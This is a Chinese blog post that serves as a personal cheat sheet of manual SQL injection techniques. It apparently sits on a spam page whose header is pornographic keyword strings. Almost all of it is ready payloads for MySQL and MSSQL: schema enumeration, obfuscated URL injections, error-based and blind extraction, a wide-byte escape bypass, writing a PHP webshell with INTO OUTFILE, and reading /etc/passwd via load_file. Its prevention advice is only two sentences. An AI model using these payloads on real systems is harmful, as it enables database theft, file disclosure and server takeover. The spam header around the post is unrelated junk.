亚洲全黄无码一级在线看_国产剧情久久久性色_无码av一区二区三区无码_亚洲成a×人片在线观看

當(dāng)前位置: 首頁 > 軍事新聞 >

SQL注入之我見

時(shí)間:2020-07-15 18:08來源:網(wǎng)絡(luò)整理 瀏覽:
習(xí)慣sqlmap方便的的同時(shí),會(huì)不知不覺依賴上,差點(diǎn)忘了根本,遂總結(jié)了一下,提醒自己sqlmap常見的SQL注入形式讀取數(shù)據(jù)庫內(nèi)容常用方式:

習(xí)慣sqlmap方便的的同時(shí),會(huì)不知不覺依賴上,差點(diǎn)忘了根本,遂總結(jié)了一下,提醒自己

SQL注入之我見

sqlmap


常見的SQL注入形式讀取數(shù)據(jù)庫內(nèi)容常用方式: information_schema,mysql.user有回顯的函數(shù)錯(cuò)誤提示: 有SQL錯(cuò)誤顯示;無回顯的函數(shù)錯(cuò)誤提示: 盲注,即沒有有SQL錯(cuò)誤顯示;加密形式: SQL加密執(zhí)行顯示;其他形式: 寬字節(jié)注入等;預(yù)防措施: 如何避免;常用函數(shù): sql自帶的函數(shù);其他: 補(bǔ)充的地方;讀取數(shù)據(jù)庫內(nèi)容常用方式

  數(shù)據(jù)庫都會(huì)有內(nèi)置的表,里面已經(jīng)包含了所有建表的信息。以MySQL為例。在5版本以上的數(shù)據(jù)庫使用如下語句,就可以直接獲得數(shù)據(jù)庫的表的信息。

MySQL

  比如在MySQL下有

select group_concat(distinct table_name) from information_schema.columns where table_schema=database()

  不理解的話,可以直接查閱MySQL的information_schema.columns表就會(huì)清楚。相關(guān)的字段有 table_name,table_schema,column_name。
  mysql.user表相應(yīng)的字段就會(huì)有User,Password.
  通過這些方式我們大概就可以知道目標(biāo)數(shù)據(jù)庫,所應(yīng)有的表信息,就可以進(jìn)行相應(yīng)的操作。注釋的話比如–,#,/*等

MSSQL

  在MSSQL下
  在開始前我們先來認(rèn)識(shí)下默認(rèn)系統(tǒng)表—sysdatabases。sysdatabases是MSSQL默認(rèn)系統(tǒng)表,包含“master”,“msdb”,“mssqlweb”,“empdb”,“model”這五個(gè)表,對(duì)應(yīng)的bdid的值為1到5,用戶新建的數(shù)據(jù)庫從bdid=6開始,我們可以通過修改bdid的值來得出庫名,語句為:

select name from master.dbo.sysdatabases where dbid=1
union select name from yourdatabasename.dbo.sysobjects where xtype=char(85) and name not in (select top XX name from yourdatabasename.dbo.sysobjects where xtype=char(85))--


  上面的XX為數(shù)字,即表的序號(hào),為數(shù)字。通過這種方式獲得表名,接下來就是字段名。
  然后分開兩個(gè)步驟:
  1.獲得表段的總序號(hào)(與id不同)

union select id from yourdatabasename.dbo.sysobjects where xtype=char(85) and name not in (select top XX name from yourdatabasename.dbo.sysobjects where xtype=char(85))--

 ?。?根據(jù)表的序號(hào)一個(gè)個(gè)列出字段的名字

union select name from yourdatabasename.dbo.syscolumns where ID=2073058421 and name not in (select top XX name from yourdatabasename.dbo.syscolumns where ID=2073058421 )--

  這里的ID是通過上面的步驟得出來的。
  其他技巧在針對(duì)字符輸入的時(shí)候,由于不能使用引號(hào)可以采用如下方式:

http://******?ID=1/**/And/**/(/**/select/**/top/**/1/**/name/**/from/**/
(/**/select/**/row_number()/**/over(/**/order/**/by/**/object_id)/**/as/**/rownumber,
*/**/from/**/Web.sys.all_objects/**/
where/**/type=char(85))A/**/where/**/rownumber=1)>0

  通過修改rownumber可以獲得表名,圖上的數(shù)據(jù)庫名為Web,如果是其他表的那就不會(huì)一樣了
  同樣用類似的方法可以獲得字段

http://××××?ID=1/**/
And/**/(/**/select/**/top/**/1/**/COLUMN_NAME/**/
from(/**/select/**/row_number()/**/over(/**/order/**/by/**/ORDINAL_POSITION)/**/as/**/rownumber,
*/**/from/**/Web.information_schema.columns/**/
where/**/TABLE_NAME=NCHAR(31649)%2bNCHAR(29702)%2bnchar(24080)%2bnchar(25143))/**/A/**
/where/**/rownumber=2)>0

  %2b為+號(hào),由于表名是中文,就會(huì)出現(xiàn)上面的樣子,不是中文就不會(huì)這樣。

有回顯的函數(shù)錯(cuò)誤提示

  針對(duì)有函數(shù)回顯,方式就會(huì)方便很多??梢酝ㄟ^union select 先得到應(yīng)有的字段有多少個(gè),如果不是數(shù)字型記得把數(shù)字換成null。union和union all的區(qū)別是,union會(huì)自動(dòng)壓縮多個(gè)結(jié)果集合中的重復(fù)結(jié)果,而union all則將所有的結(jié)果全部顯示出來,不管是不是重復(fù)。此外猜字段的方式還可以用having ‘1’=’1’的方式來,通過錯(cuò)誤提示,間接的得到表的屬性字段。其他方式的話,自由發(fā)揮。
  有時(shí)候的回顯,并不是直接建立在可視化的模塊的界面,而是只有SQL內(nèi)置報(bào)錯(cuò)函數(shù)的時(shí)候,就需要使用另一種方式,比如:

and 1=2 union select 1 from (select count(*),concat(floor(rand(0)*2),(the code you put))a from information_schema.tables group by a)b

  這句話的思路是通過floor(rand(0)*2)可能出現(xiàn)1或0的狀況在group的時(shí)候,會(huì)出錯(cuò),就會(huì)直接顯示出錯(cuò)的地方,從而顯示相應(yīng)的字段或者數(shù)據(jù),使用時(shí),常常會(huì)用到limit,當(dāng)然這種方法也有局限性,比如不能使用update,select into,insert,load_file(),group_concat()等函數(shù),所以使用的時(shí)候,就會(huì)有相應(yīng)的限制。得出的錯(cuò)誤,會(huì)在開頭多出一個(gè)1,所以去掉就可以了。

無回顯的函數(shù)錯(cuò)誤提示

  在沒有回顯的狀態(tài)下如何判斷存在注入,最直觀的情況下,可以用benchmark等類似的延遲函數(shù),看有沒有延遲返回,來判斷有沒有執(zhí)行SQL語句。
  針對(duì)返回只有true和false的這種情況,可以通過構(gòu)造一個(gè)判斷,來猜表的相應(yīng)的內(nèi)容。
  比如:

and left(databse(),1)='1'             #猜數(shù)據(jù)庫名的第一位是1
and length(databse())='1'            #猜數(shù)據(jù)庫名長(zhǎng)度為1
and substr(left(role,1),1,1)=char(49) %23      #該表的role字段第一位為1,char(49)=1

  通過類似這些方式進(jìn)行猜解。當(dāng)然為了避免php的GPC函數(shù),需要用到hex函數(shù)以及使用ascii碼來繞過,比如上圖中的3的示例。

加密形式

  有些程序員會(huì)通過將查詢的部分加密,然后傳到服務(wù)器解密,然后進(jìn)行查詢。常見的方式有base64,以及其他的方式。這時(shí)候策略就會(huì)和之前一樣,只不過,在構(gòu)造的時(shí)候,多一部分編碼就可以了。

其他形式

寬字節(jié)注入

  比如%df’ 被PHP轉(zhuǎn)義(開啟GPC、用addslashes函數(shù),或者icov等),單引號(hào)被加上反斜杠\,變成了 %df\’,其中\(zhòng)的十六進(jìn)制是 %5C ,那么現(xiàn)在 %df\’ =%df%5c%27,如果程序的默認(rèn)字符集是GBK等寬字節(jié)字符集,則MYSQL用GBK的編碼時(shí),會(huì)認(rèn)為 %df%5c 是一個(gè)寬字符,也就是縗’,也就是說:%df\’ = %df%5c%27=縗’,有了單引號(hào)就好注入了。其實(shí)不僅僅是%df可以,其他附近還有一定領(lǐng)域的也可以,可以字節(jié)去查一下。

常用函數(shù)

  MySQL常用的自帶函數(shù)有:

user() //顯示數(shù)據(jù)庫用戶
database() //當(dāng)前數(shù)據(jù)庫名
version() //數(shù)據(jù)庫版本
concat() //聯(lián)合數(shù)據(jù)
group_concat() //多組數(shù)據(jù)拼接
hex() //十六進(jìn)制編碼
unhex() //十六進(jìn)制解碼
load_file() //讀取文件
@@datadir //數(shù)據(jù)路徑
@@tmpdir //臨時(shí)路徑
@@version //數(shù)據(jù)庫版本

  其他的諸如 @@version_comment,@@version_compile_os,@@warning_count等可以自己去翻一下。
  此外用到比如轉(zhuǎn)換類型比如convert( using latin1),以及select file into outfile’/asd/a.a’可以自己去嘗試。
  MSSQL常用的自帶函數(shù)有:

db_name() //顯示數(shù)據(jù)庫名
shell編寫
create table test (a text);
insert into test(a) values('code that you print');
select a from text into outfile 'C://asd//a.php'
#讀取文件操作
create table test (a text);
insert into test(a) values(load_file('/etc/passwd'));
select a from test
預(yù)防措施

  如果只有int的參數(shù),最好最后直接轉(zhuǎn)換為int類型,這樣就可以避免注入,此外針對(duì)一些特殊的函數(shù)符號(hào)進(jìn)行過濾。其他的一部分,下次會(huì)繼續(xù)講解,包括繞過等一些方式。
當(dāng)然因?yàn)槠脑?,很多東西沒有延伸開來,如果有錯(cuò)誤的話歡迎指正。

推薦內(nèi)容